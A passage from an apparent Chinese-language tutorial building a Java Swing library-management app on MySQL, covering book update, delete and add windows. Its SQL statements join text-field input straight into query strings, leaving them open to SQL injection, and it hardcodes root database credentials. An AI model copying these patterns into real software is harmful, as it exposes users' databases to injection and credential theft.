jframe.add(jLabel5);//将文本域5添加到jframe窗体中 textField5 = new JTextField();//updata面板 文本框,信息为需要修改的图书价格 textField5.setFont(font2);//设置文本域字体大小格式 textField5.setBounds(320, 210, 280, 55);//图书名字文本框位置大小设定 textField5.setText(MainAp.staticdata.bokprice.toString());//设置文本框默认文字信息,此处为书的价格 jframe.add(textField5);//将文本框5添加到jframe窗体中 jLabel6 = new JLabel("图书数量修改为");//图书数量文本域 jLabel6.setFont(font2);//设置文本域字体大小格式 jLabel6.setBounds(83, 310, 220, 55);//设置文本域的出现位置以及大小 jframe.add(jLabel6);//将文本域6添加到jframe窗体中 textField6 = new JTextField();//updata面板 文本框,信息为需要修改的图书数量 textField6.setFont(font2);//设置文本域字体大小格式 textField6.setBounds(320, 310, 280, 55);//图书数量文本框位置大小设定 textField6.setText((String.valueOf(MainAp.staticdata.bokamount)));//设置文本框默认文字信息,此处为书的作者 jframe.add(textField6);//将文本框6添加到jframe窗体中 jLabel7 = new JLabel("图书类型修改为");//图书类型文本域 jLabel7.setFont(font2);//设置文本域字体大小格式 jLabel7.setBounds(83, 410, 220, 55);//设置文本域的出现位置以及大小 jframe.add(jLabel7);//将文本域7添加到jframe窗体中 textField7 = new JTextField();//updata面板 文本框,信息为需要修改的图书类型 textField7.setFont(font2);//设置文本域字体大小格式 textField7.setBounds(320, 410, 280, 55);//图书名字文本框位置大小设定 textField7.setText(MainAp.staticdata.boktype);//设置文本框默认文字信息,此处为书的类型 jframe.add(textField7);//将文本框7添加到jframe窗体中 jframe.repaint();//重绘界面 // jframe.addWindowListener(new WindowAdapter() {//设置窗体监听器 // // public void windowClosing(WindowEvent e) {//当窗口关闭时执行的代码 // super.windowClosing(e); // Main.staticdata.countup = 0; //设置countup为0,方便下次可以创建修改面板 // System.out.println("1235555555555"); // // // } // }); bupdata2.addMouseListener(new MouseListener() {//为修改按钮添加鼠标监听事件 @Override public void mouseClicked(MouseEvent e) {//鼠标单击事件 String BOKname = gain(textField3);//获取图书名称文本框中的内容 String BOKauthor = gain(textField4);//获取图书作者文本框中的内容 // String BOKprice = gain(textField5); // BigDecimal decimal = BigDecimal.valueOf(Double.parseDouble(BOKprice)); BigDecimal BOKprice = BigDecimal.valueOf(Double.parseDouble(gain(textField5)));//获取图书价格文本框中的内容 // String BOKamount = gain(textField6); // int BKamount =Integer.parseInt(BOKamount); //此段不能运行,故注释掉 // if(Integer.parseInt(gain(textField6)) > 0){ // //amount(); // //数量不能填写0以下数字 // BOKamount =Integer.parseInt(gain(textField6));//获取图书数量文本框中的内容 // // } //数量不能填写0以下数字 int BOKamount =Integer.parseInt(gain(textField6));//获取图书数量文本框中的内容 String BOKtype = gain(textField7);//获取图书类型文本框中的内容 updata2(BOKname,BOKauthor,BOKprice,BOKamount,BOKtype);//传入参数以进行修改数据库信息 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //--- jframe.repaint();//重绘界面 jframe.addWindowListener(new WindowAdapter() {//添加窗体监听器 public void windowClosing(WindowEvent e) {//窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countupdata = 0; //countup重置为0 } }); }//updata end

获取文本框内容的类方法需要有一个

String gain(JTextField textField) {//获得文本框的内容信息 String text = textField.getText();//获取文本框中的内容信息 //System.out.println("获取文本框内容");//提示信息 return text;//返回文本框中的内容 }

声明一个与decimal数据进行比较的数值对象,该对象为0,判断输入的图书价格是否小于0

private BigDecimal bokamount = BigDecimal.valueOf(0);

updata2()方法的内容如下:该类将传入的参数进行规则判断,符合规则则将其修改进数据库表中,

private BigDecimal bokamount = BigDecimal.valueOf(0); //实现获得信息并将信息更新进数据库的方法 void updata2(String bookname,String bookauthor,BigDecimal bookprice,int bookamount,String booktype) {//修改数据库信息的方法,传入要修改成功的数据 //void updata2(String bookname) { //String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '%" + search + "%'"; //String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '" + search + "'"; //String sql2 = "select id form t_book where id = ?"; //SELECT 字段1,字段2,... from 表名 where name like '%豪' //String sql2 = "select id,bookname,bookauthor,bookprice,bookamount,booktype from t_book where id LIKE'" + Main.staticdata.upid + "'"; String sql="update t_book set bookname='" + bookname + "' where id='"+ MainAp.staticdata.upid+"' ";//生成一条mysql语句 String sql2="update t_book set bookauthor='" + bookauthor + "' where id='"+ MainAp.staticdata.upid+"' ";//生成一条mysql语句 String sql3="update t_book set bookprice='" + bookprice + "' where id='"+ MainAp.staticdata.upid+"' ";//生成一条mysql语句 String sql4="update t_book set bookamount='" + bookamount + "' where id='"+ MainAp.staticdata.upid+"' ";//生成一条mysql语句 String sql5="update t_book set booktype='" + booktype + "' where id='"+ MainAp.staticdata.upid+"' ";//生成一条mysql语句 // 数据库连接配置 String url = "jdbc:mysql://localhost:3306/booksystem"; String user = "root"; String password = "123456"; // 表格列名 //String[] columnNames = {"ID", "BookName", "BookAuthor", "Price", "Amount", "BookType"}; // 创建表格的数据模型 //DefaultTableModel model = new DefaultTableModel(columnNames, 0); // Object[] obj = new Object[]{id, name, author, price, amount, BookType};; { try { // 加载数据库驱动 Class.forName("com.mysql.cj.jdbc.Driver"); // 建立连接 Connection con = DriverManager.getConnection(url, user, password); // 创建Statement Statement stmt = con.createStatement(); //PreparedStatement pstmt = con.prepareStatement(sql2); //pstmt.set //String sql = "select * from t_book"; // 执行查询 //ResultSet rs = stmt.executeQuery("select * from t_book");//原始语句 //图书信息不能为空,测试异常 if(bookname.equals("")||bookauthor.equals("")||bookprice.equals("")||booktype.equals("")){ System.out.println("图书价格不为空"); throw new Exception(); } //图书数量与不为0: if(bookamount < 0||bookprice.compareTo(bokamount)<0){ throw new RuntimeException(); } int rs = stmt.executeUpdate(sql); int rs2 = stmt.executeUpdate(sql2); int rs3 = stmt.executeUpdate(sql3); int rs4 = stmt.executeUpdate(sql4); int rs5 = stmt.executeUpdate(sql5); //废弃代码残余 // if(rs3 != 1||rs4 != 1){//可有可无 ,没有作用的代码 // def(); // } if(rs == 1&&rs2 == 1&&rs3 == 1&&rs4 == 1&&rs5 == 1){//如果所有修改都成功了就执行以下代码,弹出成功窗口 System.out.println("修改成功");//在控制台输出"修改成功" if(MainAp.staticdata.countwin == 0){//检查成功窗口是否为一个 win(); } } // // 遍历结果集 // while (rs.next()) { // // // 根据列名获取数据 // int id = rs.getInt("ID"); // String name = rs.getString("BookName"); // String author = rs.getString("BookAuthor"); // BigDecimal price = rs.getBigDecimal("bookprice"); // int amount = rs.getInt("bookamount"); // String BookType = rs.getString("BookType"); // // //*****System.out.println(name); // // // System.out.println(id); // System.out.println(name); // Main.staticdata.bokname = name; // System.out.println(author); // Main.staticdata.bokauthor = author; // System.out.println(price); // Main.staticdata.bokprice = price; // System.out.println(amount); // Main.staticdata.bokamount = amount; // System.out.println(BookType); // Main.staticdata.boktype = BookType; // // 将数据添加到表格模型 // //model.addRow(new Object[]{id, name, author, price, amount, BookType}); // // // ; // // } // 关闭资源 // rs.close(); stmt.close(); con.close(); } catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); } catch (RuntimeException e) { amount(); throw new RuntimeException(e); } catch (Exception e) { throw new RuntimeException(e); } } //-------------------------------------------------- //jtable = new JTable(model);//表格模型添加到表 //jPanel2.add(new JScrollPane(jtable)); // 使用滚动面板以防表格太大**** // 创建表格 // JTable table = new JTable(model); //关键注释 // 创建滚动面板来容纳表格 //JScrollPane scrollPane = new JScrollPane(table); //关键注释 //分割线------------------------------------ }//updata2() end

接下来要有一个更新成功后的弹窗,提示更新成功

void win(){ MainAp.staticdata.countwin = 1;//本窗体是否已经存在以及只能存在一个该窗体的判断代码 JButton win;//声明一个按钮 JLabel jLabel ;//登录成功的提示 JFrame jwin = new JFrame();//创建一个窗体对象 jwin.setTitle("修改图书信息成功"); jwin.setLayout(null);//设置窗体布局管理器为绝对布局 jwin.setSize(400,280);//设置窗体大小 jwin.setLocationRelativeTo(null);//窗口居中显示 jwin.setResizable(false);//设置窗口是否可以改变大小 jLabel = new JLabel("修改图书信息成功");//实例化文本域 win = new JButton("确定");//实例化一个按钮 win.setFont(font2);//设置按钮字体大小样式 jLabel.setFont(font2);//设置文本域字体大小样式 jLabel.setBounds(76,-28,250,200);//设置成功信息文字的大小和位置 win.setBounds(96,134,180,55);//设置确定按钮的大小和位置 jwin.add(win);//添加确认按钮到窗体 jwin.add(jLabel);//将文本域加入到成功窗体中 jwin.setVisible(true);//设置弹出的窗体可见 win.addMouseListener(new MouseListener() {//定义修改成功窗口中按钮的监听事件 @Override public void mouseClicked(MouseEvent e) {//鼠标单击事件 jwin.dispose();//jwin窗体关闭 MainAp.staticdata.countwin = 0;//将验证是否存在此窗口的判断重置为0,方便下次再次弹出成功信息窗口 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //设置窗体关闭执行的代码 jwin.addWindowListener(new WindowAdapter() {//添加窗体监听器 public void windowClosing(WindowEvent e) {//窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countwin = 0; //countup重置为0 } }); } //win end

当图书数量和图书价格小于0时,提示错误信息窗,显示

"图书数量与价格不能为负数"。

//图书数量不为负数: void amount(){ JFrame jframeamount = new JFrame(); //图书数量不为负数,提示框 //图书数量提示框修改内容: jframeamount.setSize(410, 200);//设置窗体大小 jframeamount.setTitle("数量内容不为负"); jframeamount.setLocationRelativeTo(null);//窗口居中显示 jframeamount.setResizable(false);//设置窗口是否可以改变大小 jframeamount.setLayout(null);//设置窗体布局为绝对布局 jframeamount.setVisible(true);//设置窗体可见 jframeamount.setAlwaysOnTop(true);//设置窗口前置 jLabel = new JLabel("图书数量与价格不能为负数");//实例化文本域信息,并初始化信息内容 jLabel.setFont(font2);//修改提示信息文本域的字体大小格式 jLabel.setBounds(10,15,400,55);//设置信息文本域出现的位置以及大小 jframeamount.add(jLabel);//添加文本域到此窗口 bdef = new JButton("确认信息");//实例化按钮对象并初始化按钮信息 bdef.setFont(font2);//设置按钮文字大小格式 bdef.setBounds(100,75,180,55); jframeamount.add(bdef); //按下按钮关闭窗口 bdef.addMouseListener(new MouseListener() { @Override public void mouseClicked(MouseEvent e) { //按钮单击事件 jframeamount.dispose(); } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); }

修改图书信息的窗口被创建时,附带一个修改失败的行为提示窗口,提示"操作键按下无响应为操作失败",代码如下,貌似该方法没用被调用,而是单独写出了一个类文件,以供其它文件调用

类文件名称为:UpdataDef

//修改失败后弹出的修改失败信息 void def(){ MainAp.staticdata.countdef = 1; JButton def; JLabel jLabel ;//登录成功的提示 JFrame jdef = new JFrame(); jdef.setTitle("修改图书信息成功"); jdef.setLayout(null); jdef.setSize(400,280); jdef.setLocationRelativeTo(null);//窗口居中显示 jdef.setResizable(false);//设置窗口是否可以改变大小 jLabel = new JLabel("点击修改无反应为修改失败"); def = new JButton("确定"); def.setFont(font2); jLabel.setFont(font2); jLabel.setBounds(12,-28,380,200);//设置成功信息文字的大小和位置 def.setBounds(96,134,180,55);//设置确定按钮的大小和位置 jdef.add(def); jdef.add(jLabel); jdef.setVisible(true); def.addMouseListener(new MouseListener() { @Override public void mouseClicked(MouseEvent e) { jdef.dispose(); MainAp.staticdata.countdef = 0; } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //设置窗体关闭执行的代码 jdef.addWindowListener(new WindowAdapter() {//添加窗体监听器 public void windowClosing(WindowEvent e) {//窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countdef = 0; //countup重置为0 } }); } //win end

Updata类内容完成,

UpdataDef类文件内容如下:

package com.book.one; import javax.swing.*; import java.awt.*; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; public class UpdataDef extends JFrame { Font font2 = new Font("Serif", Font.BOLD, 28);//设置文字大小 private JLabel jLabel;//提示信息:修改按钮按下后无响应即为修改失败 private JButton bdef;//确认按钮声明 void updatadef(){ setSize(410, 200);//设置窗体大小 setLocationRelativeTo(null);//窗口居中显示 setResizable(false);//设置窗口是否可以改变大小 setLayout(null);//设置窗体布局为绝对布局 setVisible(true);//设置窗体可见 setAlwaysOnTop(true);//设置窗口前置 jLabel = new JLabel("操作键按下无响应为操作失败");//实例化文本域信息,并初始化信息内容 jLabel.setFont(font2);//修改提示信息文本域的字体大小格式 jLabel.setBounds(10,15,400,55);//设置信息文本域出现的位置以及大小 add(jLabel);//添加文本域到此窗口 bdef = new JButton("确认信息");//实例化按钮对象并初始化按钮信息 bdef.setFont(font2);//设置按钮文字大小格式 bdef.setBounds(100,75,180,55); add(bdef); //按下按钮关闭窗口 bdef.addMouseListener(new MouseListener() { @Override public void mouseClicked(MouseEvent e) { //按钮单击事件 dispose(); } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); } }

该类仅仅是一个提示信息,信息为"操作键按下无响应为操作失败"。

P4 end

P5 :

P5 删除图书

创建一个删除图书的类

Del类,该类继承JFrame窗口类

首先声明要使用到的组件

private String booktext;//接收文本框中的内容 Font font2 = new Font("Serif", Font.BOLD, 28);//设置文字大小 private JButton bdelse;//查询删除图书信息按钮,点击后查询到图书的名称 private JButton bdel;//确认删除图书信息按钮,点击后删除显示出的图书 private JLabel jLabel;//删除书籍的id 的文本域信息 private JLabel jLabel2;//删除书籍的图书名称 的文本域信息 private JTextField textField;//声明删除图书ID的文本框,用来填写图书ID private JTextField textField2;//声明删除图书名称的文本框,用来显示图书名称信息

然后提供一个运行窗口类方法del(),该方法添加各种组件,并为各种组件设置大小位置样式,添加按钮单击事件,输入ID以查询图书名称信息,查询成功激活"确认删除"按钮

void del(){ setSize(400, 500);//设置窗体大小 setTitle("图书删除"); setLocationRelativeTo(null);//窗口居中显示 setResizable(false);//设置窗口是否可以改变大小 setLayout(null);//设置窗体布局为绝对布局 setVisible(true);//设置窗体可见 //setAlwaysOnTop(true);//设置窗口前置,不必前置 jLabel = new JLabel("请填入图书ID以确认");//文本域 提示信息,请填入图书ID以确认 jLabel2 = new JLabel("请查看图书名称以确认");//文本域 提示信息,请填入图书ID以确认 jLabel.setFont(font2);//设置文本域字体大小,信息内容为:填写删除图书的ID提示信息 jLabel2.setFont(font2);//设置文本域字体大小,信息内容为:显示删除图书的图书名称 jLabel.setBounds(58,10,400,55);//设置文本域提示信息位置大小 jLabel2.setBounds(48,130,400,55); add(jLabel2); add(jLabel);//添加文本域至本窗口 textField = new JTextField();//实例化文本框,此文本框用于填写图书ID textField.setFont(font2);//设置文本框的文字大小格式 textField.setBounds(58,65,280,55); textField2 = new JTextField("此处显示图书名称"); textField2.setFont(font2);//设置文本框的文字大小格式 textField2.setBounds(58,195,280,55); //setLocation(58,65); add(textField);//添加文本域到窗口,信息为:要输入的图书ID add(textField2);//添加文本域到窗口 信息为:显示要删除图书的图书名称 bdelse = new JButton("显示图书名称");//实例化按钮对象,按钮信息为:显示图书名称 bdelse.setFont(font2);//设置按钮文字大小格式 bdelse.setBounds(83,270,210,65);//设置按钮位置大小,默认的按钮大小为180 65 bdel = new JButton("确认删除");//实例化按钮对象,按钮信息为:确认删除 bdel.setFont(font2);//设置按钮文字大小格式 bdel.setBounds(99,360,180,65); bdel.setEnabled(false);//设置"确认修改"按钮不可用,除非查出来了书籍信息 add(bdel); add(bdelse); repaint(); //显示图书名称按下后 需要激活"确认删除"按钮,并且要查询到图书的图书名称 bdelse.addMouseListener(new MouseListener() {//为鼠标添加监听器 @Override public void mouseClicked(MouseEvent e) {//鼠标单击事件,鼠标单击后执行的代码 booktext = gain(textField);//使用gain方法获得文本框中的内容信息并赋值给booktext,删除图书ID的文本框 //Object object = updata(booktext);//将booktext传入seeall2方法中 updata(booktext);//获得需要查询的文本框内容并进行数据库查找,查找书籍的ID textField2.setText(MainAp.staticdata.bokname2);//修改文本框内容,内容为要修改的书籍名称 //bokname2 ="";//用于获取要删除的图书的书名//要删除的图书书名 if(MainAp.staticdata.bokname2 != ""){ //当静态字符串bokname2不为空,bokname2有内容时进行此判断 bdel.setEnabled(true);//修改"删除图书信息"按钮进入激活可按状态 } //setVisible(true);//设置窗口内容可见 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //按下删除图书按钮,删除图书 bdel.addMouseListener(new MouseListener() {//为删除图书按钮添加鼠标监听器 @Override public void mouseClicked(MouseEvent e) {//鼠标单击事件 updata2();//传入参数以进行删除数据库信息 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //删除界面关闭后,是否存在一个删除窗口的静态变量要恢复为0,方便下次判断 this.addWindowListener(new WindowAdapter() {//添加窗体监听器 public void windowClosing(WindowEvent e) {//窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countdel = 0; //countup重置为0 } }); }

这里有一个获取文本框内容的工具类方法

private String gain(JTextField textField) {//获取文本框中的文本信息的方法 String text = textField.getText();//获取文本框中的内容信息 //System.out.println("获取文本框内容");//提示信息 return text;//返回框中的内容 }

然后是一个传入ID,查询该ID图书的信息,并把ID信息保存至静态变量中,方便下次的删除操作使用该ID,该方法如下:

void updata(String search) {//传入要查询的ID,进行数据库查询,并显示 //String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '%" + search + "%'"; //String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '" + search + "'"; //String sql2 = "select id form t_book where id = ?"; //SELECT 字段1,字段2,... from 表名 where name like '%豪' String sql2 = "select id,bookname,bookauthor,bookprice,bookamount,booktype from t_book where id LIKE'" + search + "'"; // 数据库连接配置 String url = "jdbc:mysql://localhost:3306/booksystem"; String user = "root"; String password = "123456"; { try { // 加载数据库驱动 Class.forName("com.mysql.cj.jdbc.Driver"); // 建立连接 Connection con = DriverManager.getConnection(url, user, password); // 创建Statement Statement stmt = con.createStatement(); ResultSet rs = stmt.executeQuery(sql2); // 遍历结果集 while (rs.next()) { // 根据列名获取数据 int id = rs.getInt("ID"); String name = rs.getString("BookName"); String author = rs.getString("BookAuthor"); BigDecimal price = rs.getBigDecimal("bookprice"); int amount = rs.getInt("bookamount"); String BookType = rs.getString("BookType"); //*****System.out.println(name); System.out.println(id); MainAp.staticdata.deid2 = id;//查询到的id 写入到静态类的属性中这里是deid2 System.out.println(name); MainAp.staticdata.bokname2 = name;//这里是bokname2。查询到的书名写入到静态类的属性中 System.out.println(author); MainAp.staticdata.bokauthor = author;//查询到的图书名称写入到静态类的属性中 System.out.println(price); MainAp.staticdata.bokprice = price;//查询到的图书价格写入到静态类的属性中 System.out.println(amount); MainAp.staticdata.bokamount = amount;//查询到的图书数量写入到静态类的属性中 System.out.println(BookType); MainAp.staticdata.boktype = BookType;//查询到的图书类型写入到静态类的属性中 // 将数据添加到表格模型 //model.addRow(new Object[]{id, name, author, price, amount, BookType}); ; } // 关闭资源 rs.close(); stmt.close(); con.close(); } catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); } } }//updata() end

然后是一个updata2()方法,该方法是将已经查到图书名称信息的图书删除,以ID为基准的删除,该ID为查询时提供的ID,该ID保存在静态变量中,方法代码如下:

void updata2() {//删除数据库信息的方法,传入要删除的数据信息,根据静态变量ID查找 String sql="delete from t_book where id='"+ MainAp.staticdata.deid2+"' ";//生成一条mysql语句 // 数据库连接配置 String url = "jdbc:mysql://localhost:3306/booksystem"; String user = "root"; String password = "123456"; try { // 加载数据库驱动 Class.forName("com.mysql.cj.jdbc.Driver"); // 建立连接 Connection con = DriverManager.getConnection(url, user, password); // 创建Statement Statement stmt = con.createStatement(); int rs = stmt.executeUpdate(sql); if(rs == 1){//如果所有删除成功了就执行以下代码,弹出成功窗口 System.out.println("删除成功");//在控制台输出"修改成功" if(MainAp.staticdata.countdewin == 0){//检查成功窗口是否为一个 win(); } } // 关闭资源 // rs.close(); stmt.close(); con.close(); } catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); } }//updata2() end

然后是修改成功后会出现的提示操作成功的提示窗口,代码如下:

//修改成功后弹出的修改成功的消息窗 void win(){ MainAp.staticdata.countdewin = 1;//本窗体是否已经存在以及只能存在一个该窗体的判断代码 JButton win;//声明一个按钮 JLabel jLabel ;//登录成功的提示 JFrame jwin = new JFrame();//创建一个窗体对象 jwin.setTitle("修改图书信息成功"); jwin.setLayout(null);//设置窗体布局管理器为绝对布局 jwin.setSize(400,280);//设置窗体大小 jwin.setLocationRelativeTo(null);//窗口居中显示 jwin.setResizable(false);//设置窗口是否可以改变大小 jLabel = new JLabel("删除图书信息成功");//实例化文本域 win = new JButton("确定");//实例化一个按钮 win.setFont(font2);//设置按钮字体大小样式 jLabel.setFont(font2);//设置文本域字体大小样式 jLabel.setBounds(76,-28,250,200);//设置成功信息文字的大小和位置 win.setBounds(96,134,180,55);//设置确定按钮的大小和位置 jwin.add(win);//添加确认按钮到窗体 jwin.add(jLabel);//将文本域加入到成功窗体中 jwin.setVisible(true);//设置弹出的窗体可见 win.addMouseListener(new MouseListener() {//定义修改成功窗口中按钮的监听事件 @Override public void mouseClicked(MouseEvent e) {//鼠标单击事件 jwin.dispose();//jwin窗体关闭 MainAp.staticdata.countdewin = 0;//将验证是否存在此窗口的判断重置为0,方便下次再次弹出成功信息窗口 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //设置窗体关闭执行的代码 jwin.addWindowListener(new WindowAdapter() {//添加窗体监听器 public void windowClosing(WindowEvent e) {//窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countdewin = 0; //countup重置为0 } }); } //win end

删除图书功能介绍完毕

P5 end

P6

P6 图书增加

创建一个图书增加类

增加图书类名Add,该类继承JFrame窗口类,

貌似该类中没有使用到继承到的JFrame窗口类

首先声明需要使用到的组件

//图书数量与价格不为负数的信息框内容声明 private JFrame jframeamount;//图书数量不为负数提示框, private JLabel jLabel;//数量内容不为负数,体术信息框内容 private JButton bdef;//确认信息按钮,图书数量不为负数窗体的确认按钮 Font font2 = new Font("Serif", Font.BOLD, 28);//设置文字大小 // private JLabel jLabel;//文本域 用于提示窗口信息,图书数量与价格不能为负数 private JButton badd;//updata界面 修改图书信息按钮声明,完成数据修改的按钮 private JLabel jLabel3;//updata面板 文本域,信息为需要新增的图书名字 private JLabel jLabel4;//updata面板 文本域,信息为需要新增的图书作者 private JLabel jLabel5;//updata面板 文本域,信息为需要新增的图书价格 private JLabel jLabel6;//updata面板 文本域,信息为需要新增的图书数量 private JLabel jLabel7;//updata面板 文本域,信息为需要新增的图书类型 private JTextField textField3;//updata面板 文本框,信息为需要新增的图书名字 private JTextField textField4;//updata面板 文本框,信息为需要新增的图书作者 private JTextField textField5;//updata面板 文本框,信息为需要新增的图书价格 private JTextField textField6;//updata面板 文本框,信息为需要新增的图书数量 private JTextField textField7;//updata面板 文本框,信息为需要新增的图书类型

创建一个类方法add(),创建一个增加图书信息的界面,该方法内设置了各个组件的大小位置样式,并为按钮添加了事件,判断图书信息中的内容是否符合规则,图书信息符合规则,写入数据库表,新增图书成功

void add() { JFrame jframe2 = new JFrame();//创建窗口jframe jframe2.setSize(700, 700);//设置窗体大小 jframe2.setLocationRelativeTo(null);//窗口居中显示 jframe2.setResizable(false);//设置窗口是否可以改变大小 jframe2.setVisible(true);//设置窗体可见 jframe2.setLayout(null);//设置窗体布局为绝对布局 badd = new JButton("确认增加");//创建"确认增加"按钮 badd.setFont(font2);//设置按钮字体大小格式 badd.setBounds(244, 525, 180, 65);//设置"确认增加"按钮位置大小 jframe2.add(badd);//添加"确认增加"按钮到窗体 jLabel3 = new JLabel("新增图书名称为");//图书名称文本域 jLabel3.setFont(font2);//设置文本域字体大小格式 jLabel3.setBounds(83, 10, 220, 55);//设置文本域的出现位置以及大小 jframe2.add(jLabel3);//将文本域3添加到jframe窗体中 textField3 = new JTextField();//updata面板 文本框,信息为需要新增的图书名字 textField3.setFont(font2);//设置文本域字体大小格式 textField3.setBounds(320, 10, 280, 55);//图书名字文本框位置大小设定 jframe2.add(textField3);//将文本框3添加到jframe窗体中 jLabel4 = new JLabel("新增图书作者为");//图书作者文本域 jLabel4.setFont(font2);//设置文本域字体大小格式 jLabel4.setBounds(83, 110, 220, 55);//设置文本域的出现位置以及大小 jframe2.add(jLabel4);//将文本域4添加到jframe窗体中 textField4 = new JTextField();//updata面板 文本框,信息为需要新增的图书作者 textField4.setFont(font2);//设置文本域字体大小格式 textField4.setBounds(320, 110, 280, 55);//图书名字文本框位置大小设定 jframe2.add(textField4);//将文本框4添加到jframe窗体中 jLabel5 = new JLabel("新增图书价格为");//图书价格文本域 jLabel5.setFont(font2);//设置文本域字体大小格式 jLabel5.setBounds(83, 210, 220, 55);//设置文本域的出现位置以及大小 jframe2.add(jLabel5);//将文本域5添加到jframe窗体中 textField5 = new JTextField();//updata面板 文本框,信息为需要新增的图书价格 textField5.setFont(font2);//设置文本域字体大小格式 textField5.setBounds(320, 210, 280, 55);//图书名字文本框位置大小设定 jframe2.add(textField5);//将文本框5添加到jframe窗体中 jLabel6 = new JLabel("新增图书数量为");//图书数量文本域 jLabel6.setFont(font2);//设置文本域字体大小格式 jLabel6.setBounds(83, 310, 220, 55);//设置文本域的出现位置以及大小 jframe2.add(jLabel6);//将文本域6添加到jframe窗体中 textField6 = new JTextField();//updata面板 文本框,信息为需要新增的图书数量 textField6.setFont(font2);//设置文本域字体大小格式 textField6.setBounds(320, 310, 280, 55);//图书数量文本框位置大小设定 jframe2.add(textField6);//将文本框6添加到jframe窗体中 jLabel7 = new JLabel("新增图书类型为");//图书类型文本域 jLabel7.setFont(font2);//设置文本域字体大小格式 jLabel7.setBounds(83, 410, 220, 55);//设置文本域的出现位置以及大小 jframe2.add(jLabel7);//将文本域7添加到jframe窗体中 textField7 = new JTextField();//updata面板 文本框,信息为需要新增的图书类型 textField7.setFont(font2);//设置文本域字体大小格式 textField7.setBounds(320, 410, 280, 55);//图书名字文本框位置大小设定 // textField7.setText(Main.staticdata.boktype);//设置文本框默认文字信息,此处为书的类型 jframe2.add(textField7);//将文本框7添加到jframe窗体中 jframe2.repaint();//重绘界面 jframe2.addWindowListener(new WindowAdapter() {//设置窗体监听器 public void windowClosing(WindowEvent e) {//当窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countadd = 0; //设置countup为0,方便下次可以创建修改面板 System.out.println("新增图书界面关闭"); } }); badd.addMouseListener(new MouseListener() {//为修改按钮添加鼠标监听事件 @Override public void mouseClicked(MouseEvent e) {//鼠标单击事件 String BOKname = gain(textField3);//获取图书名称文本框中的内容 String BOKauthor = gain(textField4);//获取图书作者文本框中的内容 // String BOKprice = gain(textField5); // BigDecimal decimal = BigDecimal.valueOf(Double.parseDouble(BOKprice)); BigDecimal BOKprice = BigDecimal.valueOf(Double.parseDouble(gain(textField5)));//获取图书价格文本框中的内容 // String BOKamount = gain(textField6); // int BKamount =Integer.parseInt(BOKamount); //此段不能运行,故注释掉 // if(Integer.parseInt(gain(textField6)) > 0){ // //amount(); // //数量不能填写0以下数字 // BOKamount =Integer.parseInt(gain(textField6));//获取图书数量文本框中的内容 // // } //数量不能填写0以下数字 int BOKamount =Integer.parseInt(gain(textField6));//获取图书数量文本框中的内容 String BOKtype = gain(textField7);//获取图书类型文本框中的内容 updata2(BOKname,BOKauthor,BOKprice,BOKamount,BOKtype);//传入参数以进行修改数据库信息 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //---

这里存在一个获取文本框中内容的工具类方法:

String gain(JTextField textField) {//获得账号文本框的内容信息 String text = textField.getText();//获取账号文本框中的内容信息 //System.out.println("获取文本框内容");//提示信息 return text;//返回账号框中的内容 }

这边声明一个用于比较价格是否小于0的decimal变量

private BigDecimal bokamount = BigDecimal.valueOf(0);

接下来是一个将从各个信息的文本框中得到的数据写入数据库表的方法,其中包括了图书信息规则的判断,比如,各个文本框信息都不为空,以及图书价格和数量不能小于0,不能为负数的判断,有空文本框或者图书价格数量为负数则不能成功新增图书,价格数量为负数会有提示窗口,写入数据库表的该方法代码如下:

private BigDecimal bokamount = BigDecimal.valueOf(0); //实现获得信息并将信息更新进数据库的方法 void updata2(String bookname,String bookauthor,BigDecimal bookprice,int bookamount,String booktype) {//新增数据库信息的方法,传入要修改成功的数据 //void updata2(String bookname) { //String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '%" + search + "%'"; //String sql2 = "SELECT * FROM t_book WHERE bookname LIKE '" + search + "'"; //String sql2 = "select id form t_book where id = ?"; //SELECT 字段1,字段2,... from 表名 where name like '%豪' //String sql2 = "select id,bookname,bookauthor,bookprice,bookamount,booktype from t_book where id LIKE'" + Main.staticdata.upid + "'"; // String sql="update t_book set bookname='" + bookname + "' where id='"+Main.staticdata.upid+"' ";//生成一条mysql语句 // String sql2="update t_book set bookauthor='" + bookauthor + "' where id='"+Main.staticdata.upid+"' ";//生成一条mysql语句 // String sql3="update t_book set bookprice='" + bookprice + "' where 